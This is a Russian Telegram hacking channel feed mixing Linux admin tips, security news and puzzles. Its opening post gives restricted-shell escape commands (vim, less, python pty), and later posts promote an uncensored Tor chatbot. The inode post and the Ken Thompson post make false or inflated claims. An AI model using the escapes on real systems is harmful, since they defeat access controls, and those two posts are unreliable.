Kali Linux
54.5K subscribers
1.06K photos
82 videos
13 files
1.1K links
@linux_kal наш чат

По всем вопросам- @workakkk

@ai_machinelearning_big_data - машинное обучение

@itchannels_telegram - 🔥 главные ресурсы для хакера

@programming_books_it - бесплатные it книги

@pythonl -🐍

РКН: clck.ru/3Fmszy
Download Telegram
✔️ Эскейп в «клетке» ограниченной оболочки: два классических приёма

Когда система кажется неприступной и администратор «залочил» вас в белом списке оболочек, не спешите сдаваться. Если среди разрешённых утилит есть vi/vim или less, они могут стать вашим ключом к свободе.

1. Волшебная интерактивная оболочка через Vim

Представьте, что у вас есть доступ к бинарям с SUID/GUID — и что в списке одобренных приложений значится сам Vim. Запустите его так:

vim -c ':!/bin/sh'

или

vim --cmd ':set shell=/bin/sh|:shell'

И вот, вы уже держите в руках полноценную интерактивную $-оболочку. Гуляйте по файловой системе, исследуйте /root и другие запретные зоны — всё это будет доступно, пока Vim остаётся в вашем распоряжении. 🥳

🌟 2. Плавный выход через Less
Укажем недостатков меньше, чем возможностей у less. Откройте любой файл, например:


less /etc/passwd

Затем просто наберите в самом less:

diff

!sh

После этого — вуаля! — перед вами окажется полноценная sh-оболочка. Этот трюк срабатывает везде, где допускается вызов less.

📌 Бонус: Python-эскейп
Если же в окружении есть Python, и вы мечтаете о ещё одном пути к свободе, выполните:

python -c 'import pty; pty.spawn("/bin/sh")'

Или, чтобы обойтись без интерактивного ввода:

python - <<<'import os; os.system("/bin/sh")'

Эти приёмы давно и прочно обосновались в арсенале пентестеров.

Сохраняйте их, добавляйте в свои бэклоги и применяйте на тестовых стендах!

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥41👍156
🖥 20 полезных команд Linux

В арсенале любого опытного Linux‑администратора есть набор проверенных временем утилит: ls, cd, grep, find, ps, top и другие. Однако за пределами этой стандартной десятки скрываются настоящие «скрытые жемчужины» — мощные, но менее известные инструменты, способные упростить диагностику, автоматизацию и управление системой.

1️⃣ mtr (My Traceroute)

📋 Что делает: объединяет ping и traceroute, постоянно опрашивая каждый хоп и показывая статистику потерь и времени отклика.
💡 Пример:

mtr example.com

2️⃣ ss (Socket Statistics)

📋 Что делает: современная замена netstat. Быстро показывает TCP/UDP/RAW/UNIX‑сокеты и их состояние.
💡 Пример:

ss -tulnp

3️⃣ iotop

📋 Что делает: мониторинг дискового I/O в реальном времени, показывает процессы, активно читающие или пишущие на диск.
💡 Пример:

sudo iotop -o

4️⃣ nethogs

📋 Что делает: группирует сетевой трафик по процессам, позволяет быстро найти «трафик‑хищников».
💡 Пример:

sudo nethogs eth0

5️⃣ lsof (List Open Files)

📋 Что делает: показывает, какие файлы (включая сокеты и устройства) открыты процессами.
💡 Пример:

sudo lsof -i :80
sudo lsof /var/log/syslog

6️⃣ pgrep / pkill

📋 Что делает: ищет или убивает процессы по именам/атрибутам без парсинга ps | grep.
💡 Пример:

pgrep -u nginx
pkill -f "python my_script.py"

7️⃣ pstree

📋 Что делает: отображает дерево процессов с PID и связями «родитель → дочерний».
💡 Пример:

pstree -p

8️⃣ dstat

📋 Что делает: универсальный генератор статистики CPU, диска, сети, памяти, I/O в реальном времени.
💡 Пример:

dstat -tcdmn

9️⃣ atop

📋 Что делает: продвинутый мониторинг производительности с возможностью записи истории метрик.
💡 Пример:

atop
atop -r /var/log/atop/atop_20250418

🔟 multitail

📋 Что делает: позволяет «tail -f» сразу несколько лог‑файлов в одном терминале с разделёнными панелями.
💡 Пример:

multitail /var/log/nginx/access.log /var/log/nginx/error.log

1️⃣1️⃣ parallel (GNU Parallel)

📋 Что делает: выполняет команды параллельно, альтернатива xargs для многоядерных систем.
💡 Пример:

find . -name "*.jpg" | parallel convert {} {.}.png

1️⃣2️⃣ watch

📋 Что делает: периодически запускает команду и обновляет её вывод в реальном времени.
💡 Пример:

watch -n 1 'ss -an | grep ESTABLISHED | wc -l'

1️⃣3️⃣ script / scriptreplay

📋 Что делает: записывает терминальную сессию (ввод/вывод) в файл; scriptreplay воспроизводит её.
💡 Пример:

script my_session.log
exit
scriptreplay my_session.log


1️⃣4️⃣ lsblk

📋 Что делает: показывает блочные устройства (диски, разделы, LVM) в древовидном формате.
💡 Пример:

lsblk -f

1️⃣5️⃣ getent

📋 Что делает: получает записи из NSS‑источников (passwd, group, hosts и т.д.), включая LDAP/NIS.
💡 Пример:

getent passwd username
getent hosts google.com

1️⃣6️⃣ chage

📋 Что делает: управляет политиками устаревания паролей пользователей.
💡 Пример:

sudo chage -l username
sudo chage -M 90 username


1️⃣7️⃣ column

📋 Что делает: форматирует текстовый ввод в аккуратные колонки.
💡 Пример:

mount | column -t

1️⃣8️⃣ dig (Domain Information Groper)

📋 Что делает: мощный DNS‑клиент для гибких запросов к DNS‑серверам.
💡 Пример:

dig google.com MX +short
dig @8.8.8.8 example.org A


1️⃣9️⃣ dpkg -L / rpm -ql

📋 Что делает: показывает файлы, установленные пакетом (Debian/Ubuntu или RHEL/CentOS).
💡 Пример:

dpkg -L nginx-core
rpm -ql httpd


2️⃣0️⃣ journalctl

📋 Что делает: запрашивает логи из systemd‑журнала с гибкими фильтрами по юнитам, времени и приоритетам.
💡 Пример:

journalctl -u nginx.service -f
journalctl --since "1 hour ago"


✔️ Подробнее

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍58🔥256🎉5
⚡️Легкий способ получать свежие обновления и следить за трендами в разработке на вашем языке. Находите свой стек и подписывайтесь:

Python: t.me/pythonl
Linux: t.me/linuxacademiya
Собеседования DS: t.me/machinelearning_interview
Нерйросети t.me/ai_machinelearning_big_data
C++ t.me/cpluspluc
Docker: t.me/DevopsDocker
Хакинг: t.me/linuxkalii
Devops: t.me/DevOPSitsec
Data Science: t.me/data_analysis_ml
Javascript: t.me/javascriptv
C#: t.me/csharp_ci
Java: t.me/javatg
Базы данных: t.me/sqlhub
Python собеседования: t.me/python_job_interview
Мобильная разработка: t.me/mobdevelop
Golang: t.me/Golang_google
React: t.me/react_tg
Rust: t.me/rust_code
ИИ: t.me/vistehno
PHP: t.me/phpshka
Android: t.me/android_its
Frontend: t.me/front
Big Data: t.me/bigdatai
МАТЕМАТИКА: t.me/data_math
Kubernets: t.me/kubernetc
Разработка игр: https://t.me/gamedev
Haskell: t.me/haskell_tg
Физика: t.me/fizmat

💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy
Папка ML: https://t.me/addlist/2Ls-snqEeytkMDgy
Папка FRONTEND: https://t.me/addlist/mzMMG3RPZhY2M2Iy

😆ИТ-Мемы: t.me/memes_prog
🇬🇧Английский: t.me/english_forprogrammers
🧠ИИ: t.me/vistehno

🎓954ГБ ОПЕНСОРС КУРСОВ: @courses
📕Ит-книги бесплатно: https://t.me/addlist/BkskQciUW_FhNjEy
👍93🔥3
✔️ Задача: "Найди ошибку в скрипте запуска сервиса на Linux"

🧩 Условие:

Перед вами скрипт start_server.sh, который должен запускать серверное приложение в фоне и писать логи.
Вот его код:


#!/bin/bash

APP_PATH="/opt/myapp/server"
LOG_PATH="/var/log/myapp/server.log"

nohup $APP_PATH > $LOG_PATH 2>&1 &
echo $! > /var/run/myapp.pid


Однако:

- Иногда сервер не стартует.
- Иногда сервер стартует, но процесс через несколько секунд исчезает.
- Иногда лог-файл пустой или обрывается посередине.

Требуется:

- Найти все ошибки в этом скрипте.
- Объяснить, почему они происходят.
- Предложить исправленную версию скрипта.

---

▪️ Подсказки:

- Обратите внимание на работу nohup, выводы в лог, управление путями, записи PID, обработку ошибок.
- Помните про особенности запуска фоновых процессов в Bash.
- Подумайте о правах доступа к папкам /var/log и /var/run.

---

🔜 Что оценивается:

- Глубокое понимание системных процессов Linux.
- Умение выявлять скрытые ошибки запуска фоновых сервисов.
- Правильное использование команд оболочки для стабильного старта приложений.
- Практическое мышление в реальных DevOps-ситуациях.

---

Разбор ошибок:

▪️ Ошибка 1: Неверное использование $APP_PATH

- Просто указывая путь, мы не проверяем, существует ли файл, исполняемый ли он.
- Если $APP_PATH не существует или не имеет права на исполнение, nohup запустится, но процесс быстро "умрет".

▪️ Ошибка 2: Отсутствие проверки успешности запуска

- Скрипт сразу пишет $! в PID-файл, не проверяя, действительно ли процесс стартовал корректно.

▪️ Ошибка 3: Проблемы с nohup

- Если директория /var/log/myapp не существует или нет прав на запись, то перенаправление в $LOG_PATH вызовет мгновенный крах nohup.

▪️ Ошибка 4: PID-файл создается без проверки

- Если директория /var/run/myapp не существует, команда echo $! > /var/run/myapp.pid провалится молча, PID будет потерян.

▪️ Ошибка 5: Нехватка "обезопасивания" путей

- Прямое использование переменных в Bash без кавычек (`"$APP_PATH"`, `"$LOG_PATH"`) может вызвать ошибки, если в пути есть пробелы.

---

▪️ Исправленная версия скрипта:


#!/bin/bash

APP_PATH="/opt/myapp/server"
LOG_DIR="/var/log/myapp"
RUN_DIR="/var/run/myapp"
LOG_PATH="$LOG_DIR/server.log"
PID_FILE="$RUN_DIR/myapp.pid"

# Проверяем наличие исполняемого файла
if [ ! -x "$APP_PATH" ]; then
echo "Ошибка: приложение $APP_PATH не найдено или не имеет права на исполнение."
exit 1
fi

# Создаём каталоги при необходимости
mkdir -p "$LOG_DIR" "$RUN_DIR"

# Запускаем приложение
nohup "$APP_PATH" >> "$LOG_PATH" 2>&1 &

APP_PID=$!

# Небольшая пауза для стабильного старта
sleep 1

# Проверяем, жив ли процесс
if ps -p $APP_PID > /dev/null; then
echo $APP_PID > "$PID_FILE"
echo "Сервер успешно запущен с PID $APP_PID."
else
echo "Ошибка: процесс не запустился корректно. См. лог $LOG_PATH."
exit 1
fi


🔖 Ключевые улучшения:

- Проверка наличия исполняемого файла.
- Безопасное создание директорий перед записью логов и PID-файла.
- Проверка успешного старта процесса перед записью PID.
- Кавычки вокруг переменных для защиты от ошибок в путях.
- Вывод информативных ошибок.

📌 Дополнительные вопросы на собеседовании:

- Почему лучше использовать exec в скриптах демонизации?
- Чем отличается nohup от запуска через systemd?
- Как улучшить управление процессом, чтобы обрабатывать перезапуски и сбои?

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4912🔥7👎2
⚠️ Критическая уязвимость в NPM-пакете xrpl.js: бэкдор для кражи криптоключей.

Официальная библиотека для работы с криптовалютой XRP оказалась скомпрометирована — злоумышленники внедрили вредоносный код в версии 2.14.2 и 4.2.1-4.2.4. Под видом функции проверки ключей checkValidityOfSeed пакет тайно отправлял приватные ключи кошельков на внешний сервер.

Атака длилась менее суток (21-22 апреля), но за это время уязвимые версии успели скачать 165 тысяч раз. Подозревается компрометация аккаунта мейнтейнера через фишинг. Разработчики XRP Ledger оперативно выпустили патч в версиях 4.2.5 и 2.14.3.

🔗 Ссылка - *клик*

@linuxkalii
👍21😁6🔥54
🔥 Полезный совет: Мониторинг Linux в реальном времени — не жди, пока будет поздно!


🔜 Почему важно?
Если система начинает тормозить или странно себя вести, быстрое выявление проблем (нагрузка на CPU, память, диск, сеть) может спасти сервер или рабочую машину от падения.

---

**Топ-5 инструментов для реального мониторинга в Linux:**

▪️ htop — улучшенная версия top

- Красивое цветное отображение процессов.
- Быстрая сортировка по нагрузке на CPU, память.
- Можно убивать или приостанавливать процессы прямо из интерфейса.


sudo apt install htop
htop


▪️ iotop — мониторинг ввода-вывода дисков

- Показывает, какие процессы нагружают диск.
- Полезно при тормозах связанных с дисковыми операциями.


sudo apt install iotop
sudo iotop


▪️ iftop — сетевой мониторинг в реальном времени

- Отображает, кто сколько трафика потребляет.
- Идеально для поиска сетевых утечек или подозрительной активности.


sudo apt install iftop
sudo iftop


▪️ glances — комплексный мониторинг системы

- Объединяет CPU, память, диск, сеть в одном удобном окне.
- Адаптивный интерфейс, много деталей.


sudo apt install glances
glances


▪️ dstat — мониторинг ресурсов по категориям

- Универсальный инструмент для анализа CPU, сети, ввода-вывода, использования памяти и т.д.


sudo apt install dstat
dstat


---

Бонус:
Если хочешь красивый мониторинг в браузере → попробуй netdata:


bash <(curl -Ss https://my-netdata.io/kickstart.sh)


---

Вывод:
Настоящий мастер Linux постоянно мониторит систему, а не ищет проблему только после падения.

---
Please open Telegram to view this post
VIEW IN TELEGRAM
👍41🔥1311👎1😁1
🔒 Microsoft ограничила работу своего C/C++ расширения в форках VS Code

Пользователи альтернативных редакторов на базе VS Code столкнулись с блокировкой проприетарного расширения для C/C++ от Microsoft. После обновления до версии 1.24.5 плагин начал выдавать ошибку, сообщая о возможности работы только в официальных продуктах Microsoft — VS Code, Visual Studio и связанных сервисах.

Ситуация вновь поднимает вопрос о зависимости open-source проектов от проприетарных дополнений. Пока единственное решение для тех, кому критично расширение от Microsoft — откат на старую версию и отключение автообновлений.

🔗 Ссылка - *клик*

@linuxkalii
😁28👍12😢53🔥3🥰1
🚨 Уязвимость в ядре Linux: повышение привилегий через VSOCK (CVE-2025-21756)

Что случилось?
Обнаружена уязвимость «use-after-free» в реализации AF_VSOCK (виртуальных сокетов) ядра Linux, которая позволяет локальному злоумышленнику получить права root.


🔜 Ключевые факты

- Идентификатор: CVE-2025-21756
- Тип уязвимости: Use-After-Free в функции удаления сокета VSOCK
- Влияние: выполнение произвольного кода с правами root на уязвимых системах
- Рабочий эксплоит: доказан на ядре 6.6.75 (для других версий требуется правка кода эксплоита)

Затронутые версии

- Все ядра Linux до 6.14 (включительно)
- Стабильные ветки 6.12.16, 6.6.79, 6.1.131 и ранее
- Корпоративные сборки: RHEL, SUSE/openSUSE, Ubuntu, Debian 12 (уже исправлены)
- Debian 11 — до сих пор уязвим

Механизм уязвимости

1. При переназначении транспорта для AF_VSOCK вызывается vsock_remove_sock().
2. Далее vsock_remove_bound() неправильно уменьшает счётчик ссылок на объект сокета.
3. Счётчик становится равным нулю, ядро освобождает память, хотя объект ещё используется.
4. Локальный пользователь получает доступ к освобождённой памяти и может выполнить произвольный код с привилегиями ядра.

👽 Как защититься

1. Обновите ядро до версии 6.14 или выше.
2. Установите последние февральские/мартовские патчи для веток 6.12.16, 6.6.79 и 6.1.131.
3. На дистрибутивах RHEL, SUSE/openSUSE, Ubuntu и Debian 12 убедитесь, что установлены свежие пакеты ядра.
4. В Debian 11 — либо обновитесь до Debian 12, либо вручную соберите патченный пакет ядра.

**Важно:** если на системе используются контейнеры или виртуальные машины с VSOCK, немедленно примените обновления — эксплоит работает локально и не требует дополнительных разрешений.

⚫️ Эксплоит

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥35👍238😱2
😂 Это вышка - один из сотрудников xAI случайно разместил на GitHub приватный API-ключ.

Два месяца подряд любой мог получить доступ к более чем 60 внутренним моделям xAI, в том числе неанонсированным версиям Grok. Ключ работал до 30 апреля.

Похоже, xAI таким образом решили стать open source 😁

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁71👍186🔥3
📌 Задача: «Загадочный рост нагрузки в полночь»

Каждую ночь, ровно в 00:00, сервер на Linux (Ubuntu 22.04 LTS) начинает внезапно потреблять повышенное количество ресурсов (CPU и RAM).

Через 5-10 минут нагрузка сама возвращается в норму, не оставляя очевидных следов. В течение дня ситуация стабильная и не проявляется.

📌 Администратору поступила задача:

- Определить причину еженощного кратковременного всплеска нагрузки.

- Выявить конкретный процесс или задачи, которые запускаются.

- Предложить решение для оптимизации или полного устранения проблемы.

🧩 Ограничения и подсказки:
Логи системного планировщика (cron) почему-то пусты или очищаются.

На сервере включена система мониторинга systemd.

Возможны скрытые задачи в системных директориях (/etc/cron.*, /var/spool/cron).

Используются контейнеры Docker (возможно, что-то происходит в контейнерах).

Пользовательские процессы не явно обозначают себя в списке ps aux.

🛠️ Какие команды и подходы следует использовать?

Шаг 1: Анализ нагрузки

htop
vmstat 1
sar -q


Шаг 2: Поиск подозрительных процессов


ps aux --sort=-%cpu | head -n 20
ps aux --sort=-%mem | head -n 20
pidstat -u 1 10


Шаг 3: Исследование задач по времени запуска



journalctl --since "23:59" --until "00:10"
systemctl list-timers
grep -rnw '/etc/' -e '00:00'

Шаг 4: Проверка Docker-контейнеров


docker stats
docker ps -a --format "{{.ID}} {{.Image}} {{.Command}} {{.RunningFor}}"
docker inspect $(docker ps -q) --format '{{ .Id }}: {{ .State.StartedAt }}'

Шаг 5: Анализ сетевой активности и дисковой активности


iftop -nNP
iotop -oPa


Решение и итог:

Определить процесс или скрытую задачу.

Установить, кто или что запускает этот процесс.

Удалить, оптимизировать или перенастроить планировщик (cron, systemd timer) или Docker-контейнер, чтобы устранить кратковременные скачки нагрузки.

Такая задача заставляет администратора комплексно проверить сервер и выявить скрытые или нетипичные источники нагрузки, проявить внимательность к деталям и глубокие знания инструментов анализа Linux.

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
👍106🔥127😱2
👾 Опубликованы новые релизы свободных загрузочных прошивок Libreboot 25.04 и Canoeboot 25.04. Эти проекты предлагают полностью открытую замену проприетарным BIOS/UEFI, удаляя закрытые компоненты вроде Intel ME.

В новом релизе Libreboot добавлена поддержка плат Acer Q45T-AM/G43T-AM3, обновлены инструменты сборки (Debian 12.10, GCC 15) и компоненты. Canoeboot, как более строгая версия, исключает все бинарные вставки, сохраняя совместимость лишь с ограниченным набором устройств — от старых ThinkPad до PlayStation 1.

🔗 Ссылка - *клик*

@linuxkalii
👍31🔥95
# 🔐 Современный алгоритм шифрования: AES

В современном мире данных шифрование — это не роскошь, а необходимость. От защиты банковских транзакций до хранения паролей — всё держится на надёжных алгоритмах.

Один из самых популярных и надёжных стандартов сегодня — AES (Advanced Encryption Standard).

💡 Что такое AES?

AES — симметричный алгоритм блочного шифрования.

- Один и тот же ключ используется для шифрования и дешифрования.
- Данные обрабатываются блоками фиксированной длины (обычно **128 бит**).

AES стал стандартом в 2001 году и до сих пор считается устойчивым к атакам при правильной реализации.

📏 Длина ключа


AES поддерживает ключи длиной:

- 128 бит (16 байт)
- 192 бит (24 байта)
- 256 бит (32 байта)

Чем длиннее ключ, тем выше стойкость к атакам.

Как работает AES?

1. Данные разбиваются на блоки по 128 бит.
2. Каждый блок проходит через несколько раундов шифрования:
- Подстановки байтов
- Перемешивания строк
- Перемешивания столбцов
- Наложения ключа
3. Количество раундов зависит от длины ключа:
- 128 бит → 10 раундов
- 192 бит → 12 раундов
- 256 бит → 14 раундов

В отличие от DES, AES не использует перестановки бит — он работает на уровне байтов и матриц.

🐍 Пример использования AES на Python

Для работы с AES используем библиотеку PyCryptodome:


from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad

# Генерируем случайный 16-байтовый ключ
key = get_random_bytes(16)

# Создаём объект AES в режиме CBC (Cipher Block Chaining)
cipher = AES.new(key, AES.MODE_CBC)

# Данные для шифрования
data = b"Hello, this is a secret message!"

# Дополняем данные до кратности 16
padded_data = pad(data, AES.block_size)

# Шифруем
encrypted_data = cipher.encrypt(padded_data)

print("Зашифрованные данные:", encrypted_data)

# Для расшифровки нужно сохранить IV (инициализационный вектор)
iv = cipher.iv

# Дешифрование
cipher_dec = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher_dec.decrypt(encrypted_data), AES.block_size)

print("Расшифрованные данные:", decrypted_data.decode())


Обратите внимание:

key — секретный ключ (должен храниться в секрете).

iv (инициализационный вектор) — нужен для дешифрования, его можно передавать открытым текстом.

Используется padding, чтобы текст был кратен размеру блока.

🔍 Почему AES?
Безопасен — нет известных практических атак.

Быстрее DES и 3DES.

Широко поддерживается во всех современных протоколах (TLS, SSH, VPN, ZIP, WhatsApp).

⚠️ Важные рекомендации
Никогда не используйте один и тот же ключ и IV для нескольких сообщений.

Храните ключи в защищённом хранилище.

При передаче данных используйте безопасные протоколы.

➡️ AES — это золотой стандарт симметричного шифрования. Его применяют везде: от HTTPS и VPN до мессенджеров.
С помощью Python и библиотеки PyCryptodome его можно легко интегрировать в свои проекты.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4031🔥8😁2
🥷 OnionGPT — бесплатный ИИ на основе Llama в сети Tor и без цензуры!

🔗 Ссылка: *клик* (не работает в обычном браузере)

@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
20🔥10👎7👍5
🧩 Задача для Linux-администраторов: "Исчезающий процесс"

📖 Описание задачи

В системе неожиданно появилась служба, которая запускается автоматически через 10 минут после удаления её бинарного файла и убийства процесса.

Особенности:

- Бинарный файл процесса каждый раз появляется в разной директории внутри /tmp.
- Имя процесса каждый раз разное (например, a1b2c3, `d4e5f6`).
- При запуске процесс слушает TCP-порт на случайном высоком порту (>=1024).
- Порт каждый раз динамически выбирается и кодируется в base64, чтобы затруднить прямую идентификацию.
- Бинарный файл зашифрован и расшифровывается процессом в оперативной памяти перед запуском.
- После удаления файла и убийства процесса через 10 минут процесс появляется снова.

📝 Ваша задача:

1. Определить источник "реинкарнации" процесса.
2. Найти механизм автозапуска и зашифрованного хранения бинарника.
3. Остановить автоматический запуск навсегда без перезагрузки системы.
4. Задокументировать шаги поиска и устранения проблемы.

🕵️ Решение (разбор шаг за шагом)

1️⃣ Найти процесс и порт

Поскольку порт зашифрован (base64), стандартный ss или netstat покажут только открытый порт, но не под каким именем он должен быть:


ss -tulpn | grep LISTEN


Запоминаем PID и порт. Чтобы проверить порт в base64:


echo <порт> | base64


(найденный зашифрованный порт в коде процесса может совпадать)

2️⃣ Посмотреть открытые файлы и дескрипторы

Чтобы понять, где запускается исполняемый файл:


lsof -p <pid>


Смотрим дескрипторы /tmp/, /dev/shm/, /proc/self/fd/.

Если исполняемый файл удалён, но процесс его держит открытым, можно восстановить его через /proc/<pid>/exe:


cp /proc/<pid>/exe ./restored_binary


3️⃣ Отследить родителя процесса

Проверим родительский процесс:


ps -o pid,ppid,cmd -p <pid>
pstree -p <ppid>


➡️ Нужно понять, кто создаёт зашифрованный бинарник и запускает процесс.

4️⃣ Отследить создание файла в /tmp

Используем auditd или inotifywait, чтобы зафиксировать момент создания:


auditctl -w /tmp -p wa
ausearch -f /tmp


или


inotifywait -m /tmp


Когда файл создастся → смотрим, какой процесс его записал:


lsof | grep /tmp/<имя_файла>


5️⃣ Проверить автозагрузку

Проверяем cron:


crontab -l
cat /etc/crontab
ls -l /etc/cron.*


Проверяем systemd:


systemctl list-timers --all
systemctl list-units --type=service
systemctl list-units --type=timer


Проверяем init.d, rc.local, profile.d:


ls -l /etc/init.d/
cat /etc/rc.local
ls -l /etc/profile.d/


6️⃣ Проанализировать процесс запуска

Раз шифрование происходит в памяти:

- Проверяем аргументы запуска процесса через ps aux
- Используем strace для перехвата системных вызовов:


strace -f -p <pid>


- Проверяем, не использует ли процесс memfd_create, shm_open, mmap (бинарник в памяти):


lsof -p <pid> | grep memfd


📝 Возможное объяснение

- Основной процесс шифрует бинарник и хранит его (например, в `/etc/.hidden/enc.bin`).
- Через cron job или systemd timer каждые 10 минут запускается дешифровщик, который:
- Расшифровывает бинарник в /tmp
- Запускает процесс
- Запущенный процесс открывает порт, шифрует его номер (base64) и выводит только в своих аргументах/переменных окружения.
- Процесс удаляет бинарник сразу после запуска, оставляя только дескриптор в памяти.

Как остановить навсегда (без перезагрузки):

1. Найти и остановить родительский процесс (watchdog/дешифровщик):


kill -9 <pid>


2. Удалить механизм автозапуска:

- Удалить запись из cron.
- systemctl disable <название_сервиса>
- Удалить файлы-инициаторы из /etc/systemd/system/, /etc/init.d/, /etc/rc.d/.

3. Найти и удалить зашифрованный бинарник:


find / -type f -name '*.bin' -exec file {} \; | grep 'data'


или поиск по дате изменения:


find / -type f -mtime -1


4. Очистить /tmp, /dev/shm, /run от временных файлов.
👍61🔥2216
🚀 Linux прощается с эпохой 486-х процессоров: мэйнтейнеры ядра Linux готовятся к историческому изменению — полному удалению поддержки данной линейки из кодовой базы. Инициатива исходит от самого Линуса Торвальдса, который считает, что поддержка 30-летних чипов давно стала обузой для разработчиков.

Удаление 14 тысяч строк кода упростит архитектуру ядра и снизит нагрузку на сопровождающих. Интересно, что встраиваемые системы на базе Quark не пострадают — они используют модернизированные 486-совместимые ядра с поддержкой современных инструкций.

🔗 Ссылка - *клик*

@linuxkalii
🤔37👍25🔥5🥰4😢3👎2
🐧 Задача-ловушка: Почему служба не видит обновлённый файл?

Условие:

Вы обновили конфигурационный файл для популярного сервиса (например, `nginx`), изменив несколько параметров. Затем вы перезапустили сервис:


systemctl restart nginx


Однако после рестарта сервис всё ещё использует старые параметры из старого конфига, хотя проверка:


cat /etc/nginx/nginx.conf


показывает, что файл точно обновлён.

Вы проверили права, синтаксис конфига (`nginx -t` выдаёт OK), SELinux, AppArmor — всё в норме.

Вопрос:
Что могло пойти не так? Почему сервис использует старый конфиг, хотя файл обновлён и процесс был перезапущен?

---

🔍 Подсказка:

Недавно на сервере был проведён атомарный деплой конфига с помощью такой команды:


mv /tmp/new_nginx.conf /etc/nginx/nginx.conf


---

Разбор:

💥 Ловушка:

На первый взгляд всё выглядит правильно, но вот ключевой момент:

Linux (и systemd) работают с inodes, а не с именами файлов напрямую.

Когда вы делаете:

```bash
mv /tmp/new_nginx.conf /etc/nginx/nginx.conf
```

это не заменяет содержимое файла. Это заменяет inode файла по данному имени, то есть создаётся новый файл с новым inode, а старый файл с тем же именем удаляется.

Если ваш сервис (например, `nginx`) запущен под присмотром systemd с включённым ProtectSystem или иными security-механизмами (или даже через старый init-скрипт), при перезапуске сервис может запускаться с открытым файловым дескриптором старого файла или в chroot-окружении, где старый inode остаётся привязанным.

В результате:

-
cat показывает новый файл (новый inode по тому же имени).
- Сервис по факту читает старый файл, который всё ещё «жив» для процессов ядра через старый дескриптор.

---

🔧 Как проверить:

1️⃣ Посмотреть inode текущего файла:

```bash
ls -li /etc/nginx/nginx.conf
```

2️⃣ Посмотреть, какой inode был открыт сервисом:

```bash
lsof -p $(pidof nginx) | grep nginx.conf
```

Вы увидите, что процесс всё ещё держит старый inode.

---

🛠 Как исправить:

• После замены файла через
mv рекомендуется не просто перезапустить сервис, а полностью остановить и запустить заново:

```bash
systemctl stop nginx
systemctl start nginx
```

или использовать
reload, если поддерживается:

```bash
nginx -s reload
```

Это гарантирует, что дескрипторы будут закрыты и процесс откроет новый файл с новым inode.

---

Вывод:

• В Linux имя файла — это просто ссылка на inode.
• Замена файла через
mv не заменяет содержимое «на лету» для уже работающих процессов.
• Даже после
restart systemd или скрипты могут не освободить старый дескриптор, если используются специфические модули, overlayfs или другие хитрости.

💡 Бонус-вопрос:
Почему tail -f /etc/nginx/nginx.conf после mv может перестать работать корректно, и как сделать так, чтобы отслеживание файла продолжалось после замены?

@linuxkalii
👍46🔥177😁1🤯1
🫡 Без обид, Линус Торвальдс… но этот человек — величайший гик современности.

📟 В 1971 году, в 28 лет, он создал UNIX — систему, на которой построен весь современный интернет.

🦫 В 2009 году, уже в 66 лет, он стал соавтором языка Go — одного из самых популярных языков в мире DevOps и микросервисов.

💥 Но это только начало:

Он разработал язык B, который стал основой для языка C
Создал UTF-8 — кодировку, благодаря которой мы видим текст на любом языке в интернете
Придумал grep — команду, без которой не обходится ни один разработчик
Работал над Multics, Plan 9, Inferno — это четыре операционные системы, созданные одним человеком

🧠 Большинство людей в жизни не используют и двух ОС. А он — создал четыре.

И при этом...
О нём почти никто не знает.

Запомни имя: Кен Томпсон.
🛠 Один из тех, кто буквально построил цифровой мир, в котором мы живём.

🏛 Рим не за один день строился... а вот grep — почти что за одну ночь 😎

История создания grep — действительно захватывающая.

Один из создателей операционной системы UNIX, Кен Томпсон, разработал grep буквально «за ночь».

На самом деле, у него уже был личный инструмент для поиска текста в файлах.
Однажды его начальник, Дуг МакИлрой, подошёл и сказал:

«Знаешь, было бы здорово — уметь искать нужное в файлах».

Томпсон ответил:

«Хорошо, подумаю об этом ночью.»

Он пришёл домой, доработал свой старый код, пофиксил баги — и всё это заняло не больше часа.

На следующий день он показал результат МакИлрою.
Тот воскликнул:

«Это именно то, что мне было нужно!»

А дальше — это уже история.

🤔 Если ты задаёшься вопросом, почему инструмент называется grep, а не просто search — на это есть вполне логичное объяснение 👇

❤️ Ставьте лайк и я напишу пост про историю названия Grep.

https://www.youtube.com/shorts/tfzw9HOu4xc

@linuxkalii
322👍85🔥33👏6👎2